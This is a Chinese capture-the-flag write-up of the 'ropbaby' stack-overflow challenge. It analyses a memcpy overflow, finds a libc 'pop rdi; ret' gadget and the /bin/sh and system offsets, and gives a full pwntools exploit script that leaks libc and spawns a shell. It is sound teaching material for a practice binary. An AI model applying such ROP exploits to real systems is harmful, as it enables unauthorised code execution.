实验吧_ROPBABY

实验目的

用过这次实验去检验我们前期对栈溢出的掌握程度

实验文件

链接:https://pan.baidu.com/s/14fPpj6nULpywKwMv21r7rA
提取码:qbp9

实验步骤

首先检验ropbaby的保护机制
实验吧_ROPBABY_第1张图片
发现栈是no canary found,我们可以进行栈溢出。
首先对文件进行静态分析
实验吧_ROPBABY_第2张图片
发现了 memcpy(&savedregs, nptr, v8),savedregs是_int64型,只有8字节的空间,而nptr有1088字节,这就造成了栈溢出。
因此我们需要做的步骤如下:
1.找到程序漏洞(即溢出点)
2.构造一个gadget,包含pop rdi | retn
3.在libc中找到/bin/sh字符串的地址,送入rdi寄存器
4.找到system函数地址,并使得程序跳转执行system函数

然后进行动态分析
实验吧_ROPBABY_第3张图片
下面选取有用的:

ROPgadget --binary libc-2.23.so  --only "pop|ret"
0x0000000000020256 : pop rdi ; pop rbp ; ret
0x0000000000021102 : pop rdi ; ret  //这一段就是我们要的gadget,偏移量是0x21102
0x0000000000067499 : pop rdi ; ret 0xffff

下面找到/bin/sh在libc中的地址
在这里插入图片描述
由于程序允许我们查找system的地址,因此我们考虑找到system函数的偏移在这里插入图片描述
0x45390即为system的偏移
所以我们可以构造payload = ‘a’*8 + p64(gaget_addr) + p64(bin_addr) + p64(system_addr)

附上exp.py

#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
p=process('./ropbaby')
p.recvuntil(':')
p.recvuntil(':')
p.sendline('2')
p.recvuntil(':')
p.sendline('system')
p.recvuntil(':')
system_addr=int(p.recv(19),16)#这里":"之后还有一个空格,我一开始只接收18个字符    
print "system_addr="+hex(system_addr)
base_addr=system_addr-0x45390 #libc加载的基地址
print "base_addr="+hex(base_addr)
bin_addr=0x18cd17
bin_addr=base_addr+bin_addr
print "bin_addr="+hex(bin_addr)
gaget_addr=0x21102
gaget_addr=base_addr+gaget_addr
print "gaget_addr="+hex(gaget_addr)
payload = 'a'*8 + p64(gaget_addr) + p64(bin_addr) + p64(system_addr)
print p.recvuntil(':')
print "-------------------------------------------------------------"
p.sendline("3")
p.recvuntil(':')
p.sendline('32')
print payload
p.sendline(payload)
p.interactive()

你可能感兴趣的:(实验吧_ROPBABY)